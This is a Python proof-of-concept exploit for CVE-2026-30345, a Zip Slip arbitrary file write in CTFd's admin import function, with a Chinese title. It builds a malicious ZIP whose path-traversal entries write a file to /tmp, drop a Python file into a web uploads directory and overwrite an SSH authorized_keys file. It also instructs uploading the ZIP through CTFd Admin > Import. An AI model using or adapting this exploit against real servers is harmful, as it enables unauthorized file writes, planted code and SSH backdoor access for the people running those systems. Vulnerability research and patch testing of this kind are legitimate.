CVE-2026-30345: CTFd Admin导入功能Zip Slip任意文件写入漏洞

#!/usr/bin/env python3 ''' CVE-2026-30345 PoC - CTFd Zip Slip Vulnerability This PoC generates a malicious ZIP file with path traversal payloads. ''' import zipfile import os import io def create_zip_slip_payload(): """ Create a malicious ZIP file for Zip Slip attack on CTFd Admin import """ # Path traversal payloads - files to be written outside target directory malicious_files = { '../../../tmp/pwned.txt': b'Zip Slip exploitation successful!', '../../../var/www/html/uploads/shell.py': b'#!/usr/bin/env python3\nprint("PWNED")', '../../.ssh/authorized_keys': b'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7...', } zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: for filename, content in malicious_files.items(): # Add file with path traversal in filename zf.writestr(filename, content) print(f'[+] Added malicious entry: {filename}') # Get the ZIP content zip_content = zip_buffer.getvalue() # Save to file with open('ctfd_zip_slip_payload.zip', 'wb') as f: f.write(zip_content) print(f'[+] Created malicious ZIP file: ctfd_zip_slip_payload.zip') print(f'[+] Size: {len(zip_content)} bytes') print('\n[!] Usage: Upload this ZIP file via CTFd Admin > Import functionality') return zip_content def verify_zip_contents(zip_path): """Verify the contents of the generated ZIP file""" with zipfile.ZipFile(zip_path, 'r') as zf: print('\n[+] ZIP file contents:') for info in zf.infolist(): print(f' - {info.filename}') if __name__ == '__main__': print('=' * 60) print('CVE-2026-30345 - CTFd Zip Slip PoC') print('=' * 60) create_zip_slip_payload() verify_zip_contents('ctfd_zip_slip_payload.zip')